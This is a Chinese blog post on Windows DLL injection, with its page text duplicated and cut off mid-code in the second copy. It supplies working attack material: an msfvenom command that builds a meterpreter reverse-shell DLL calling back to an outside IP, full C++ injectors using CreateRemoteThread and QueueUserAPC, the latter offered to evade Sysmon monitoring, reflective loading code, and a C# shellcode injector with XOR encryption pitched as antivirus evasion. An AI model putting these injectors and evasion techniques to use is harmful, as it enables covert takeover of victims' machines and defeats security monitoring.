DLL injection小记
<div data-v-7a63e4b3="" class="v-note-show single-show"><div data-v-7a63e4b3="" class="v-show-content scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255);"><h2>什么是dll注入</h2>
<p>在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。
所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。</p>
<h3>dll注入实现过程</h3>
<p><img src="/uploads/20200826/1611442d8adeb7b51977237303b417a5.jpg" style="max-width:100%;">
</p>
<p>即
1.附加到目标/远程进程
2.在目标/远程进程内分配内存
3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间
4.控制进程运行DLL文件</p>
<p>主要用到的几个函数:</p>
<p>OpenProcess :</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">OpenProcess</span><span class="hljs-params">(
</div></pre>
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
)</span></span>;
<p>VirtualAllocEx:</p>
<pre><div class="hljs"><span class="hljs-function">LPVOID <span class="hljs-">VirtualAllocEx</span><span class="hljs-params">(
</div></pre>
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
)</span></span>;
<p>WriteProcessMemory:</p>
<pre><div class="hljs"><span class="hljs-function">BOOL <span class="hljs-">WriteProcessMemory</span><span class="hljs-params">(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
)</span></span>;
</div></pre>
<p>CreateRemoteThread:</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">CreateRemoteThread</span><span class="hljs-params">(
</div></pre>
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
)</span></span>;
<h3>dll注入demo:</h3>
<p>既然是dll注入,那么我们肯定需要一个dll,我们使用msf直接生成一个dll出来:</p>
<pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll
</pre>
<p>然后手写一个dll注入器:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span><Windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span><stdio.h></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc,<span class="hljs-keyword">char</span> * argv[])</span> </span>{
HANDLE ProcessHandle;
LPVOID remotebuffer;
BOOL write;
<span class="hljs-keyword">wchar_t</span> dllpath[] = TEXT(<span class="hljs-string">"C:\\users\\root\\desktop\\inject.dll"</span>);
<span class="hljs-keyword">if</span> (argc < <span class="hljs-number">2</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Useage inject.exe Pid;\n"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"such as inject.exe 258\n"</span>);
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Injecting DLL to PID: %i\n"</span>, atoi(argv[<span class="hljs-number">1</span>]));
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[<span class="hljs-number">1</span>])));
<span class="hljs-keyword">if</span> (ProcessHandle == <span class="hljs-literal">NULL</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess Fail !!!"</span>);
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess %i successful !!!\n"</span>,atoi(argv[<span class="hljs-number">1</span>]));
}
remotebuffer = VirtualAllocEx(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-keyword">sizeof</span> dllpath, MEM_COMMIT, PAGE_READWRITE);
write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, <span class="hljs-keyword">sizeof</span> dllpath, <span class="hljs-literal">NULL</span>);
<span class="hljs-keyword">if</span> (write == <span class="hljs-number">0</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory Fail %i!!!"</span>,GetLastError());
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory successful !!!\n"</span>);
}
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(<span class="hljs-string">"Kernel32"</span>)), <span class="hljs-string">"LoadLibraryW"</span>);
CreateRemoteThread(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-number">0</span>, threatStartRoutineAddress, remotebuffer, <span class="hljs-number">0</span>, <span class="hljs-literal">NULL</span>);
CloseHandle(ProcessHandle);
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</div></pre>
<p><img src="/uploads/20200826/3462d7a373dec9dca90b60a6a098c226.jpg" style="max-width:100%;">
</p>
<p>在进程监控中,也可以清楚的看到进程被注入了dll。</p>
<p><img src="/uploads/20200826/dbb828037ec41fbf0583f37b3890b573.jpg" style="max-width:100%;">
</p>
<p>这样我们就实现了一个简单的dll注入的例子。CreateRemoteThread()实现dll注入,是最基础的例子,我们再来看一下其他的dll注入的方法。</p>
<h3>demo2:</h3>
<p>我们这次使用一个比较小众的方法来进行dll注入,NtCreateThreadEx。</p>
<p>因为在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。</p>
<p>这里有三好学生师傅的demo</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span> <windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <TlHelp32.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <vector></span>
<span class="hljs-keyword">using</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>;
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-">FindProcess</span><span class="hljs-params">(PCWSTR exeName, DWORD& pid, <span class="hljs-built_in">vector</span><DWORD>& tids)</span> </span>{
<span class="hljs-keyword">auto</span> hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, <span class="hljs-number">0</span>);
<span class="hljs-keyword">if</span> (hSnapshot == INVALID_HANDLE_VALUE)
<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
pid = <span class="hljs-number">0</span>;
PROCESSENTRY32 pe = { <span class="hljs-keyword">sizeof</span>(pe) };
<span class="hljs-keyword">if</span> (::Process32First(hSnapshot, &pe)) {
<span class="hljs-keyword">do</span> {
<span class="hljs-keyword">if</span> (_wcsicmp(pe.szExeFile, exeName) == <span class="hljs-number">0</span>) {
pid = pe.th32ProcessID;
THREADENTRY32 te = { <span class="hljs-keyword">sizeof</span>(te) };
<span class="hljs-keyword">if</span> (::Thread32First(hSnapshot, &te)) {
<span class="hljs-keyword">do</span> {
<span class="hljs-keyword">if</span> (te.th32OwnerProcessID == pid) {
tids.push_back(te.th32ThreadID);
}
} <span class="hljs-keyword">while</span> (::Thread32Next(hSnapshot, &te));
}
<span class="hljs-keyword">break</span>;
}
} <span class="hljs-keyword">while</span> (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
<span class="hljs-keyword">return</span> pid > <span class="hljs-number">0</span> && !tids.empty();
}
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">main</span><span class="hljs-params">()</span>
</span>{
DWORD pid;
<span class="hljs-built_in">vector</span><DWORD> tids;
<span class="hljs-keyword">if</span> (FindProcess(<span class="hljs-string">L"calc.exe"</span>, pid, tids))
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess\n"</span>);
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualAllocEx\n"</span>);
<span class="hljs-keyword">auto</span> p = ::VirtualAllocEx(hProcess, <span class="hljs-literal">nullptr</span>, <span class="hljs-number">1</span> << <span class="hljs-number">12</span>, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
<span class="hljs-keyword">wchar_t</span> buffer[] = <span class="hljs-string">L"c:\\test\\testdll.dll"</span>;
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory\n"</span>);
::WriteProcessMemory(hProcess, p, buffer, <span class="hljs-keyword">sizeof</span>(buffer), <span class="hljs-literal">nullptr</span>);
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> <span class="hljs-keyword">auto</span>& tid : tids)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenThread\n"</span>);
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
<span class="hljs-keyword">if</span> (hThread)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"GetProcAddress\n"</span>);
::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(<span class="hljs-string">L"kernel32"</span>), <span class="hljs-string">"LoadLibraryW"</span>), hThread, (ULONG_PTR)p);
}
}
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"VirtualFreeEx\n"</span>);
::VirtualFreeEx(hProcess, p, <span class="hljs-number">0</span>, MEM_RELEASE | MEM_DECOMMIT);
}
}
</div></pre>
<p>而且还有了C#版本,这里就不再赘述了。</p>
<h3>反射型dll注入:</h3>
<p>反射DLL注入可以将加密的DLL保存在磁盘(或者以其他形式如shellcode等),之后将其解密放在内存中。之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。因为没有使用LoadLibrary函数,要想实现DLL的加载运行,我们需要在DLL中添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是加载自身。</p>
<p>反射DLL注入实现起来其实十分复杂,需要对PE加载十分了解。通过编写ReflectiveLoader找到DLL文件在内存中的地址,分配装载DLL的空间,并计算 DLL 中用于执行反射加载的导出的内存偏移量,然后通过偏移地址作为入口调用 CreateRemoteThread函数执行。</p>
<p>msf已经有了相应的模块:</p>
<pre>windows/manage/reflective_dll_inject
</pre>
<p><img src="/uploads/20200826/0d0ee0ef98aa8b117785a03a8944700f.jpg" style="max-width:100%;">
</p>
<p>cs中也可以使用bdllspawn来加载dll实现同样的效果。</p>
<p>我们也可以手动使用MemoryModule来实现</p>
<ol>
<li>将要加载的PE文件读入内存</li>
<li>初始化MemoryModule句柄</li>
<li>装载内存</li>
<li>获得导出函数地址</li>
<li>执行导出函数</li>
<li>释放MemoryModule句柄</li>
</ol>
<p>代码如下:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">define</span> WIN32_LEAN_AND_MEAN</span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <stdio.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <malloc.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <span class="hljs--string">"MemoryModule.h"</span></span>
<span class="hljs-function"><span class="hljs-keyword">typedef</span> <span class="hljs-">int</span> <span class="hljs-params">(*addNumberProc)</span><span class="hljs-params">(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">int</span>)</span></span>;
<span class="hljs-">#<span class="hljs--keyword">define</span> DLL_FILE <span class="hljs--string">"C:\users\root\desktop\reflective_dll.x64.dll"</span></span>
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromFile</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
addNumberProc addNumber;
HINSTANCE handle = LoadLibrary((LPCWSTR)DLL_FILE);
<span class="hljs-keyword">if</span> (handle == <span class="hljs-literal">NULL</span>)
<span class="hljs-keyword">return</span>;
addNumber = (addNumberProc)GetProcAddress(handle, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From file: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
FreeLibrary(handle);
}
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-">LoadFromMemory</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
FILE *fp;
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *data=<span class="hljs-literal">NULL</span>;
<span class="hljs-keyword">size_t</span> size;
HMEMORYMODULE <span class="hljs-keyword">module</span>;
addNumberProc addNumber;
fp = fopen(DLL_FILE, <span class="hljs-string">"rb"</span>);
<span class="hljs-keyword">if</span> (fp == <span class="hljs-literal">NULL</span>)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't open DLL file \"%s\"."</span>, DLL_FILE);
<span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}
fseek(fp, <span class="hljs-number">0</span>, SEEK_END);
size = ftell(fp);
data = (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">char</span> *)<span class="hljs-built_in">malloc</span>(size);
fseek(fp, <span class="hljs-number">0</span>, SEEK_SET);
fread(data, <span class="hljs-number">1</span>, size, fp);
fclose(fp);
<span class="hljs-keyword">module</span> = MemoryLoadLibrary(data);
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">module</span> == <span class="hljs-literal">NULL</span>)
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Can't load library from memory.\n"</span>);
<span class="hljs-keyword">goto</span> <span class="hljs-built_in">exit</span>;
}
addNumber = (addNumberProc)MemoryGetProcAddress(<span class="hljs-keyword">module</span>, <span class="hljs-string">"addNumbers"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"From memory: %d\n"</span>, addNumber(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>));
MemoryFreeLibrary(<span class="hljs-keyword">module</span>);
<span class="hljs-built_in">exit</span>:
<span class="hljs-keyword">if</span> (data)
<span class="hljs-built_in">free</span>(data);
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span>
</span>{
LoadFromFile();
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n\n"</span>);
LoadFromMemory();
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</div></pre>
<p><img src="/uploads/20200826/89f82c5807c35a53551d6924da85013b.jpg" style="max-width:100%;">
</p>
<h2>dll注入利用</h2>
<h3>反射型DLL注入免杀</h3>
<p>这里使用c#来实现。</p>
<p>首先声明api:</p>
<pre>[DllImport("kernel32.dll")]
static extern HANDLE OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll")]
static extern HMODULE GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(HMODULE hModule, string lpProcName);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(HANDLE hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(HANDLE hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(HANDLE hProcess,IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// privileges used for OpenProcess
protected const uint PROCESS_ALL_ACCESS = PROCESS_CREATE_PROCESS | PROCESS_CREATE_THREAD |
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION |
PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_SET_INFORMATION |
PROCESS_SET_QUOTA | PROCESS_SUSPEND_RESUME | PROCESS_TERMINATE |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | SYNCHRONIZE;
protected const uint PROCESS_CREATE_PROCESS = 0x80;
protected const uint PROCESS_CREATE_THREAD = 0x2;
protected const uint PROCESS_DUP_HANDLE = 0x40;
protected const uint PROCESS_QUERY_INFORMATION = 0x400;
protected const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
protected const uint PROCESS_SET_INFORMATION = 0x200;
protected const uint PROCESS_SET_QUOTA = 0x100;
protected const uint PROCESS_SUSPEND_RESUME = 0x800;
protected const uint PROCESS_TERMINATE = 0x1;
protected const uint PROCESS_VM_OPERATION = 0x8;
protected const uint PROCESS_VM_READ = 0x10;
protected const uint PROCESS_VM_WRITE = 0x20;
protected const uint SYNCHRONIZE = 0x100000;
// used for VirtualAllocEx
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;
</pre>
<p>然后可以使用下面的方式来实现dll注入:</p>
<pre>public static void ReflectiveDLLInject(int targetId, byte[] shellcode)
{
try
{
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
IntPtr lpThreadId = IntPtr.Zero;
IntPtr procHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)targetId);
Console.WriteLine($"[+] Getting the handle for the target process: {procHandle}.");
IntPtr remoteAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
Console.WriteLine($"[+] Allocating memory in the remote process {remoteAddr}.");
Console.WriteLine($"[+] Writing shellcode at the allocated memory location.");
if (WriteProcessMemory(procHandle, remoteAddr, shellcode, (uint)shellcode.Length, out lpNumberOfBytesWritten))
{
Console.WriteLine($"[+] Shellcode written in the remote process.");
CreateRemoteThread(procHandle, IntPtr.Zero, 0, remoteAddr, IntPtr.Zero, 0, out lpThreadId);
}
else
{
Console.WriteLine($"[+] Failed to inject shellcode.");
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
</pre>
<p>然后将payload进行加密,再在主程序内还原即可。</p>
<pre>public static byte[] xor(byte[] input)
{
char[] key = { 'x', 'x', };
byte[] output = new byte[input.Length];
for (int i = 0; i < input.Length; i++)
{
output[i] = (byte)(input[i] ^ key[i % key.Length]);
}
return output;
}
</pre>
<p>然后在调用函数执行即可,不过DLL加密后的shellcode都会特别长,不适合命令行输入,命令行只支持8000+字符的输入,可以考虑分离免杀的方式来进行执行。</p>
<h3>反射DLL与MSF联动</h3>
<p>倾璇师傅提出的思路,膜拜。</p>
<p><img src="/uploads/20200826/54f58bdbab90b3309ddc6061a32773ef.jpg" style="max-width:100%;">
</p>
<p>进程中也看不到明显的dll注入</p>
<p><img src="/uploads/20200826/13bfeaff9d0b0899944bd5cfc1bdf391.jpg" style="max-width:100%;">
</p>
<p>参考文章:</p>
<p>https://www.cnblogs.com/wf751620780/p/10730013.html
https://payloads.online/archivers/2020-01-02/1
https://rootrain.me/2020/02/29/%E4%BD%BF%E7%94%A8.NET%E5%AE%9E%E7%8E%B0DLL%E6%B3%A8%E5%85%A5%E6%8A%80%E6%9C%AF/
https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
https://ired.team/offensive-security/code-injection-process-injection/dll-injection
https://www.t00ls.net/viewthread.php?tid=51601&highlight=DLL%E6%B3%A8%E5%85%A5
https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/
https://github.com/stephenfewer/ReflectiveDLLInjection
https://www.cnblogs.com/uAreKongqi/p/6012353.html</p>
</div> <div data-v-7a63e4b3="" class="v-show-content-html scroll-style scroll-style-border-radius" style="background-color: rgb(255, 255, 255); display: none;">
<h2><a id="dll_0"></a>什么是dll注入</h2>
<p>在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。
也正是由于进程的地址空间是独立的(保护模式),因此我们很难编写能够与其它进程通信或控制其它进程的应用程序。
所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,因此程序B的开发者可以对程序A为所欲为。因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。</p>
<h3>dll注入实现过程</h3>
<p><img src="/img/sin/M00/00/2C/wKg0C1689ACAeHDIAAEw2xfN3u8552.png" alt="0.png"></p>
<p>即
1.附加到目标/远程进程
2.在目标/远程进程内分配内存
3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间
4.控制进程运行DLL文件</p>
<p>主要用到的几个函数:</p>
<p>OpenProcess :</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">OpenProcess</span><span class="hljs-params">(
</div></pre>
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
)</span></span>;
<p>VirtualAllocEx:</p>
<pre><div class="hljs"><span class="hljs-function">LPVOID <span class="hljs-">VirtualAllocEx</span><span class="hljs-params">(
</div></pre>
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
)</span></span>;
<p>WriteProcessMemory:</p>
<pre><div class="hljs"><span class="hljs-function">BOOL <span class="hljs-">WriteProcessMemory</span><span class="hljs-params">(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
)</span></span>;
</div></pre>
<p>CreateRemoteThread:</p>
<pre><div class="hljs"><span class="hljs-function">HANDLE <span class="hljs-">CreateRemoteThread</span><span class="hljs-params">(
</div></pre>
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
)</span></span>;
<h3>dll注入demo:</h3>
<p>既然是dll注入,那么我们肯定需要一个dll,我们使用msf直接生成一个dll出来:</p>
<pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=4444 -f dll -o inject.dll
</pre>
<p>然后手写一个dll注入器:</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span><Windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span><stdio.h></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc,<span class="hljs-keyword">char</span> * argv[])</span> </span>{
HANDLE ProcessHandle;
LPVOID remotebuffer;
BOOL write;
<span class="hljs-keyword">wchar_t</span> dllpath[] = TEXT(<span class="hljs-string">"C:\\users\\root\\desktop\\inject.dll"</span>);
<span class="hljs-keyword">if</span> (argc &lt; <span class="hljs-number">2</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Useage inject.exe Pid;\n"</span>);
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"such as inject.exe 258\n"</span>);
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Injecting DLL to PID: %i\n"</span>, atoi(argv[<span class="hljs-number">1</span>]));
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[<span class="hljs-number">1</span>])));
<span class="hljs-keyword">if</span> (ProcessHandle == <span class="hljs-literal">NULL</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess Fail !!!"</span>);
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"OpenProcess %i successful !!!\n"</span>,atoi(argv[<span class="hljs-number">1</span>]));
}
remotebuffer = VirtualAllocEx(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-keyword">sizeof</span> dllpath, MEM_COMMIT, PAGE_READWRITE);
write = WriteProcessMemory(ProcessHandle, remotebuffer, (LPVOID)dllpath, <span class="hljs-keyword">sizeof</span> dllpath, <span class="hljs-literal">NULL</span>);
<span class="hljs-keyword">if</span> (write == <span class="hljs-number">0</span>) {
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory Fail %i!!!"</span>,GetLastError());
<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
}
<span class="hljs-keyword">else</span>
{
<span class="hljs-built_in">printf</span>(<span class="hljs-string">"WriteProcessMemory successful !!!\n"</span>);
}
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(<span class="hljs-string">"Kernel32"</span>)), <span class="hljs-string">"LoadLibraryW"</span>);
CreateRemoteThread(ProcessHandle, <span class="hljs-literal">NULL</span>, <span class="hljs-number">0</span>, threatStartRoutineAddress, remotebuffer, <span class="hljs-number">0</span>, <span class="hljs-literal">NULL</span>);
CloseHandle(ProcessHandle);
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</div></pre>
<p><img src="/img/sin/M00/00/2C/wKg0C1689PKAUZ82AADXT6cgi4Y761.png" alt="1.png"></p>
<p>在进程监控中,也可以清楚的看到进程被注入了dll。</p>
<p><img src="/img/sin/M00/00/2C/wKg0C1689QaAVrEEAAFt6Ir9CZ4625.png" alt="2.png"></p>
<p>这样我们就实现了一个简单的dll注入的例子。CreateRemoteThread()实现dll注入,是最基础的例子,我们再来看一下其他的dll注入的方法。</p>
<h3>demo2:</h3>
<p>我们这次使用一个比较小众的方法来进行dll注入,NtCreateThreadEx。</p>
<p>因为在上面的注入方式中,我们使用了CreateRemoteThread来进行dll注入,而这个方式在具有Sysmon的系统中会留下Event ID 8的痕迹。而我们使用通过APC实现Dll注入则可以绕过这种监控。</p>
<p>这里有三好学生师傅的demo</p>
<pre><div class="hljs"><span class="hljs-">#<span class="hljs--keyword">include</span> <windows.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <TlHelp32.h></span>
<span class="hljs-">#<span class="hljs--keyword">include</span> <vector></span>
<span class="hljs-keyword">using</span> <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>;
<span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-">FindProcess</span><span class="hljs-params">(PCWSTR exeName, DWORD& pid, <span class="hljs-built_in">vector</span><DWORD>& tids)</span> </span>{
<span class="hljs-keyword">auto</span> hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, <span class="hljs-number">0</span>);
<span class="hljs-keyword">if</span> (hSnapshot == INVALID_HANDLE_VALUE)
<span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
pid = <span class="hljs-number">0</span>;
PROCESSENTRY32 pe = { <span class="hljs-keyword">sizeof</span>(pe) };
<span class="hljs-keyword">if</span> (::Process32First(hSnapshot, &pe)) {
<span class="hljs-keyword">do</span> {
<span class="hljs-keyword">if</span> (_wcsicmp(pe.szExeFile, exeName) == <span class="hljs-number">0</span>) {
pid = pe.th32ProcessID;
THREADENTRY32 te = { <span class="hljs-keyword">sizeof</span>(te) };
<span class="hljs-keyword">if</span> (::Thread32First(hSnapshot, &te)) {
<span class="hljs-keyword">do</span> {
<span class="hljs-keyword">if</span> (te.th32OwnerProcessID == pid) {
